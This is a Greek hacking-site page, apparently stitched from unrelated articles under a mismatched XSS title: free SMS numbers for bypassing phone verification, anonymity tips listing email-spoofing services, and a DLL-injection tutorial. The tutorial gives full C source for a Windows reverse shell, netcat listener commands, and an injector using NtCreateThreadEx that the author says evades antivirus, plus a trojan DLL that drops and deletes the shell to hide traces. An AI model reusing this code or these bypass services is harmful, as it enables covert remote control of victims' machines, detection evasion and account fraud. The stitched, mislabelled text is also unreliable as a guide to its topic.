Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε

Πιστεύω όλοι έχουμε πάει να κάνουμε ηλεκτρονικές αγορές, ή να φτιάξουμε λογαριασμός στα Social Media σωστά;

Πιστεύω όλοι έχουμε δει αυτό την επιλογή που λέει να προσθέσουμε τον αριθμό κινητού μας έτσι ώστε να μας στείλουν έναν κωδικό επιβεβαιώσεις σωστά;

Πάρα πολλά άτομα ξενερώνουν με την Ανωνυμία επειδή αναγκάζονται να προσθέσουν τα προσωπικά τους στοιχεία ( όπως τον αριθμό τους ).

Σήμερα θα σας δείξω έναν πολύ απλό τρόπο έτσι ώστε να κάνετε αγορές καθώς και λογαριασμούς χωρίς να προσθέτετε τα προσωπικά σας στοιχεία.

Temp-SMS

https://temp-sms.org/sms/642108797516

Αυτός ο ιστότοπος είναι πολύ παρόμοιος με το temp mail – sms, αλλά σε αυτόν τον ιστότοπο μπορείτε να πάρετε έναν αριθμό EN , υπάρχει όμως μια μικρή περίπτωση

μερική ιστότοποι να μην μπορούν να επιβεβαιώσουν τον αριθμό αυτόν οπότε πρέπει να δείτε και άλλους συνδέσμους.

7sim

https://7sim.org/free-phone-number-45MwGrzN

Αυτός ο ιστότοπος είναι ένας άλλος πολύ καλός ιστότοπος που έχω χρησιμοποιήσει και δίνει έναν πραγματικά περίεργο αριθμό όπως το 570, αλλά μπορείτε να πάρετε έναν αριθμό από το Ηνωμένο Βασίλειο ( παράδειγμα ) και να περάσετε από το yahoo και άλλους ιστότοπους με αυτό το ελεύθερο site ελέγχου sms.

http://freesmsverification.com/

k7.net – Αυτή η χρήση για δωρεάν Verifications δουλεύει τέλεια σε όλα τα site για οποιαδήποτε χώρα!

Το site αυτό έχει κατασκευαστή για να σας δώσει έναν αριθμό που ήταν σαν έναν πραγματικό αριθμό τηλεφώνου και ήταν glitchy δεδομένου ότι δεν προσφέρουν sms, αλλά θα μπορούσατε να χρησιμοποιήσετε τη φωνητική επαλήθευση επειδή με την επιβεβαίωση του αριθμού αμέσως θα πάρετε ένα φωνητικό μήνυμα και θα λάβετε τους κωδικούς επαλήθευσης σας δυστυχώς, ξεκίνησαν αυτό το site αντιμετωπίζει μερικές φορές θέματα όταν πηγαίνετε στο k7 και προσπαθήστε να πάρετε έναν αριθμό, αν το κάνετε αυτό και σας βγάλει κάποιο σφάλμα, απλά θα σας ανακατευθύνει σε εκεί νέο site που προσφέρει μόνο 800 αριθμούς.

Οι 800 αριθμοί ενδέχεται να μην δουλεύουν σχεδόν καθόλου για την επαλήθευση.

Για να περάσει την επαλήθευση των sms στο gmail παράδειγμα δοκιμάστε της παραπάνω μεθόδους που έγραψα.

Είναι μια μέθοδος που για εμένα δούλεψε, αυτό θα σας βοηθήσει στο να ξεφύγετε ακόμη και να χρειαστεί να χρησιμοποιήσετε έναν αριθμό τηλεφώνου, σας προτείνω αυτή τη μέθοδο.

Μερικά ακόμα links για δωρεάν verifications numbers:

www.burnerapp.com/
tollfreeforwarding.com/virtual-phone-number/mexico/
www.receive-sms-online.info/
tempophone.com
freephonenum.com/send-text
ru.sms24.me/number-642108343891-1
receivetxt.com/us
Textnow.com
Countrycode.org
Wp.pinger.com
Textmagic.com
Esendex.co.uk
www.receive-sms-now.com
receivesmsonline.com
receivefreesms.com
receivesmsonline.me

Good Hacking

• Πληροφορίες Συγγραφέα

Alexandros Vyzantios

Hacks.gr

Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.

http://hacks.gr

contact@hacks.gr

Related posts:

Ο Κόσμος του Email Spoofing [ Detailed Guide ] Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Εγκατάσταση VPN στα Kali Linux

ΣΗΜΕΙΩΣΗ Αν σας ενδιαφέρει η προστασία της ιδιωτικής ζωής στο Internet τότε πρέπει να πάρετε αυτόν τον οδηγό πολύ σοβαρά. Το παραμικρό λάθος, θα μπορούσε να φανερώσει όλα τα στοιχειά σας στο Internet Επίσης, πλέον όλες η μεγάλες εταιρίες περνούν τα στοιχειά σας, η έλλειψη γνώσης σας για το ίντερνετ μπορεί να σας προδώσει, και η NSA να σας παρακολουθεί και να ξέρει τα πάντα για εσάς.

DNS

Αυτό το πρόγραμμα σας δίνει τη δυνατότητα να χρησιμοποιήσετε τους διακομιστές DNS του OpenDNS, αντί του ISP σας.  Κρυπτογραφεί επίσης το σύνολο της κίνησης DNS ανάμεσα σε εσάς και το διακομιστή OpenDNS.

Ο ISP σας μπορεί να σας παρακολουθεί, ή ακόμα και κάποιος στο ίδιο δίκτυο. Ακόμα με μια ευπάθεια στον υπολογιστή σας θα μπορούσανε να παρακολουθούνε όλα τα πακέτα που στέλνονται.

Μπορεί επίσης να χρησιμοποιείτε ένα VPN, και να έχετε μια διαρροή DNS, όπου μπορεί να σας προδώσει.

Η ιστοσελίδα “Έλεγχος Διαρροής DNS” μπορεί να χρησιμοποιηθεί για να ελέγξει αν υπάρχουν διαρροές.

Κατεβάστε και εγκαταστήστε το DNSCrypt, και αλλάξτε τις ρυθμίσεις σας όπως στην παρακάτω εικόνα

Ιδιωτική περιήγηση

Η λειτουργία Ιδιωτικής Περιήγησης σάς επιτρέπει να πλοηγηθείτε στο διαδίκτυο χωρίς να αποθηκεύονται πληροφορίες σχετικά με το ποιές ιστοσελίδες έχετε επισκεφθεί

Τι δεν αποθηκεύει η Ιδιωτική Περιήγηση;

Σελίδες που έχετε επισκεφθεί[/b]: Δε θα εισαχθεί καμία σελίδα στη λίστα ιστοτόπων που υπάρχουν στο μενού του ιστορικού, στη λίστα του ιστορικού που υπάρχει μέσα στο παράθυρο “Βιβλιοθήκη”, ή στη λίστα διευθύνσεων που εμφανίζονται αυτόματα στη Γραμμή Διευθύνσεων.

Πληροφορίες που εισάγονται σε Φόρμα ή στη Γραμμή Αναζήτησης: Τίποτα απ’ όλα όσα πληκτρολογείτε σε πλαίσια κειμένου που υπάρχουν σε ιστοσελίδες δεν αποθηκεύεται, όπως επίσης και στη Γραμμή αναζήτησης ή στη Φόρμα αυτόματης συμπλήρωσης.

Κωδικούς πρόσβασης: Κανένας νέος κωδικός πρόσβασης δε θα αποθηκευτεί.

Καταχωρήσεις στη Λίστα Ληφθέντων Αρχείων: Κανένα αρχείο από αυτά που κατεβάσατε δε θα υπάρχει στην καρτέλα Λήψεις αρχείων μετά την απενεργοποίηση της λειτουργίας Ιδιωτικής Περιήγησης.

Cookies: Τα cookies αποθηκεύουν πληροφορίες σχετικά με τους ιστότοπους που επισκέπτεσθε, όπως προτιμήσεις σελίδων, κατάσταση σύνδεσης, και δεδομένα που χρησιμοποιούνται από πρόσθετα όπως το Adobe Flash. Τα cookies μπορούν ακόμη να χρησιμοποιηθούν από τρίτους για να ανιχνεύσουν την περιήγησή σας στο διαδίκτυο.

Αρχεία προσωρινής μνήμης διαδικτύου, αρχεία χωρίς σύνδεση και δεδομένα χρήστη: Κανένα προσωρινό αρχείο διαδικτύου, ή προσωρινά αποθηκευμένο αρχείο από ιστοσελίδες, όπως επίσης και κανένα αρχείο, από αυτά τα οποία αποθηκεύουν οι ιστότοποι για εργασία χωρίς σύνδεση, δε θα αποθηκευτεί.

• Ανοίγουμε τον ιστοπλοηγό Mozilla Firefox.

• Κάνουμε αριστερό κλίκ στο μενού: Εργαλεία

• Στο μενού που εμφανίζει, επιλέγουμε:

• Έναρξη ιδιωτικής περιήγησης

• Στο παράθυρο που θα εμφανιστεί πατάμε το κουμπάκι: Έναρξη ιδιωτικής περιήγησης.

• Αν κάναμε τα βήματα μέχρι εδώ τότε ένα παράθυρο θα ανοίξει και θα υπάρχει αυτή η εικόνα σε διάφορα μεγέθη.

• Μπράβο μπήκαμε με επιτυχία σε κατάσταση ανώνυμης περιήγησης.

E-MAIL

Η όλη ιδέα του ηλεκτρονικού ταχυδρομείου είναι πολύ παλιά και άσκοπη κατά τη γνώμη μου.

Θα έλεγα ότι ίσως το 70% της χρήσης του ηλεκτρονικού ταχυδρομείου είναι να ελέγξει εσάς, ή να σας προσθέσει σε μια λίστα.

Είναι ένα κακό πρωτόκολλο επικοινωνίας και σχεδόν κάθε γνωστός πάροχο web mail κρατάει logs έτσι ώστε να τα ξέρουν όλα για τη ζωή σας.

Οι μεγάλες εταιρίες, όπως το Gmail, Hotmail και το Yahoo, είναι οι χειρότερες για την προστασία της ιδιωτικής ζωής.

Εάν δεν θέλετε να χρησιμοποιήσετε το ηλεκτρονικό ταχυδρομείο, όπως εγώ, μπορείτε να αρνηθείτε να δημιουργήσετε μια διεύθυνση ηλεκτρονικού ταχυδρομείου, και απλά να χρησιμοποιήσετε μια προσωρινή διεύθυνση ηλεκτρονικού ταχυδρομείου.

Ο πιο ασφαλής τρόπος για τη χρήση ηλεκτρονικού ταχυδρομείου, θα ήταν να χρησιμοποιήσετε κρυπτογράφηση PGP.[/b]

Δείτε τα παρακάτω

FORWARD EMAIL

• NotSharingMyInfo

TEMPORARY EMAIL

•  GuerrillaMail

•  YOPMail

PERMANANT EMAIL

•  HushMail

•  SafeMail

•  TORMail

SPOOF EMAIL

•  AnonyMailer

•  DeadFake

•  Emkei

KeyScrambler

Το πρόγραμμα αυτό κρυπτογραφεί όλες τις πληκτρολογήσεις σας, καθιστώντας αδύνατο για ένα keylogger, ή οποιοδήποτε λογισμικό παρακολούθησης να ξέρει τι πληκτρολογείτε.

Κατεβάστε και εγκαταστήστε KeyScrambler (Ίσως χρειαστεί να κάνετε επανεκκίνηση.), Και κάντε δεξί κλικ στο εικονίδιο του προγράμματος, και κάντε κλικ στο “Επιλογές”. Αλλάξτε τις ρυθμίσεις σας, έτσι ώστε να είναι όπως οι παρακάτω εικόνες:

ΣΗΜΕΙΩΣΗ: Η δωρεάν έκδοση θα κρυπτογραφήσει μόνο ότι πληκτρολογείτε στο web browser σας.

ΑΛΛΑΞΤΕ ΤΗΝ MAC ADRESS

Αυτό το πρόγραμμα θα σας επιτρέψει να αλλάξετε τη mac διεύθυνση σας. (Όχι, αυτό δεν έχει να κάνει με έναν υπολογιστή Mac.)

Κατεβάστε και εγκαταστήστε το  http://www.technitium.com/tmac/index.html TMAC, και κάντε το εκτέλεση.

Για κάθε σύνδεση στην ενότητα “Network Connection“, το επισημάνετε, και στη συνέχεια κάντε κλικ στο κουμπί “Random MAC Address” και στη συνέχεια κάντε κλικ στο κουμπί “Change Now».

PeerBlock

Αυτό το πρόγραμμα θα μπλοκάρει κάθε εισερχόμενη και εξερχόμενη κίνηση.

Κατεβάστε και εγκαταστήστε το PeerBlock, και στη συνέχεια πρέπει να το εκτελέσετε. Στην αρχή, θα σας ζητηθεί τι είδους IP θέλετε να αποκλείσετε. Επιλέξτε τα πάντα, εκτός από το “Import/Create Lists” και “Always Allow HTTP”.

ΣΗΜΕΙΩΣΗ: Το πρόγραμμα μπορεί να εμποδίσει την πρόσβαση σε ορισμένες ιστοσελίδες, χωρίς να καταλάβετε γιατί είναι αποκλεισμένες. Αν μια ιστοσελίδα δεν φορτώσει, τότε κάνετε τερματισμό του Peerblock, και όταν τελειώσετε τότε το ανοίγετε ξανά

Κάτω από την καρτέλα “Settings”, αλλάξετε τις ρυθμίσεις σας όπως στην παρακάτω εικόνα:

• Author Details

Αλέξανδρος Βυζάντιος

Hacks.gr

Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.

https://hacks.gr/

alex@hacks.gr

Related posts:

Εγκατάσταση VPN στα Kali Linux Doxing Βασικές πληροφορίες-Ξεκίνημα Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου. Δημιουργία ψεύτικου DOX για να προστατέψετε τον εαυτό σας

Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη  τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:

1. Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
2. Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.

Τι θα διαβάσετε σε αυτό το άρθρο

1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:

α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.

Πρέπει να είμαι guru για να το καταλάβω;

Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:

• Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
• Πώς μπορεί να χρησιμοποιηθεί το Netcat για ακρόαση και επεξεργασία συνδέσεων (http://netcat.sourceforge.net/).
• Βασική χρήση του metasploit’s Armitage (https://www.kali.org/tools/armitage/).

Εισαγωγή

Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.

Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!

Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).

Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:

• Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
• την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.

Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.

Τα πρώτα βήματα

Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.

Η Μέθοδος

Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.

Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το event DLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.

1. Δημιουργία του Reverse Shell.

Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.

// reverse shell in win32
// by thiseas 2010
// Compile with VS 2008 from command line with cl:
// cl PROGRAMrs.c -> PROGRAMrs.exe
////////////////////////////////////////////////
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.

#define DEFAULT_PORT 1234
#define DEFAULT_IP “192.168.1.70”

WSADATA wsaData;
SOCKET Winsocket;
STARTUPINFO theProcess; 
PROCESS_INFORMATION info_proc; 
struct sockaddr_in Winsocket_Structure;

int main(int argc, char *argv[])
{
char *IP =  DEFAULT_IP;
short port = DEFAULT_PORT;

if (argc == 3){ 
strncpy(IP,argv[1],16);
port = atoi(argv[2]);
}
 
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);
Winsocket_Structure.sin_port=htons(port);
Winsocket_Structure.sin_family=AF_INET;
Winsocket_Structure.sin_addr.s_addr=inet_addr(IP);

if(Winsocket==INVALID_SOCKET)
{
WSACleanup();
return 1;
}

if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)
{
WSACleanup();
return 1;
}

// Starting shell by creating a new process with redirected i/o.
 
memset(&theProcess,0,sizeof(theProcess));
theProcess.cb=sizeof(theProcess);
theProcess.dwFlags=STARTF_USESTDHANDLES;
 
// here we make the redirection
theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket;
 
// fork the new process.
if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0)
{
WSACleanup();
return 1;
}

return 0;
}

Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.

Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:

Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:

• στο Fedora : nc -l 1234
  στο ubuntu: nc -v -l -p 1234
  σε Windows : nc -v -l -p 1234

Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell:
c:> PROGRAMrs.exe <attackerIP> 1234

2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα

Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!

Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).

Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).

Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:

…

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00

…

Σε:

…
\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00
…

Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:

Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.

3.Δημιουργώ την DLL

Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.

Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:

Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.

4.Εκτελώντας το Injection

Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.

// dllattack08.cpp
//
////////////////////////////////////////////////////

#include <windows.h>
#include <TlHelp32.h>
#include <shlwapi.h> // Add Lib: Shlwapi.lib
#include <stdio.h>

typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer
);

//Buffer argument passed to NtCreateThreadEx function
struct NtCreateThreadExBuffer
{
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};

HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID)
{
PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if(Process32First(hSnapshot, &Pc)){
do{

if(StrStrI(Pc.szExeFile, szExeName)) {
*ProcessID = Pc.th32ProcessID;
return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID);
}
}while(Process32Next(hSnapshot, &Pc));
}

return NULL;
}

BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath)
{
Sleep(2000);

HMODULE hmKernel = GetModuleHandle(L”Kernel32″);//heres the DLL
if(hmKernel == NULL || hProcess == NULL)
return FALSE;
int nPathLen = strlen(lpszDllPath); //MAX_PATH; //

LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
if (lpvMem == NULL)
return FALSE;

if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL))
return FALSE;

DWORD dwWaitResult= 0, dwExitResult = 0;

HANDLE hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, “LoadLibraryA”),
lpvMem,
0,
NULL);

if(hThread != NULL){
dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
GetExitCodeThread(hThread, &dwExitResult);
CloseHandle(hThread);
VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
return (1);
}
else{
return (0);
}
}

BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath)
{
Sleep(2000);

HMODULE hmKernel = GetModuleHandle(L”Kernel32″);//heres the DLL
if(hmKernel == NULL || hProcess == NULL) return FALSE;
int nPathLen = strlen(lpszDllPath); //MAX_PATH; //
LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL);
DWORD dwWaitResult, dwExitResult = 0;

HMODULE modNtDll = GetModuleHandle(L”ntdll.dll”);
if( !modNtDll )
{
return 0;
}

LPFUN_NtCreateThreadEx funNtCreateThreadEx =
(LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, “NtCreateThreadEx”);

if( !funNtCreateThreadEx )
{
return 0;
}

NtCreateThreadExBuffer ntbuffer;
memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer));
DWORD temp1 = 0;
DWORD temp2 = 0;
ntbuffer.Size = sizeof(NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = 0;//&temp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = &temp1;
ntbuffer.Unknown8 = 0;

HANDLE hThread;
NTSTATUS status = funNtCreateThreadEx(
&hThread,
0x1FFFFF,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, “LoadLibraryA”),
lpvMem,
FALSE, //start instantly
NULL,
NULL,
NULL,
&ntbuffer
);

if(hThread != NULL){
dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
GetExitCodeThread(hThread, &dwExitResult);
CloseHandle(hThread);
VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
return (1);
}
else{
return (0);
}

}

int ActivateSeDebugPrivilege(void){
HANDLE hToken;
LUID Val;
TOKEN_PRIVILEGES tp;

if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(GetLastError());

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
return(GetLastError());

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = Val;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL))
return(GetLastError());

CloseHandle(hToken);

return 1;
}

int main(int argc, char *argv[])
{
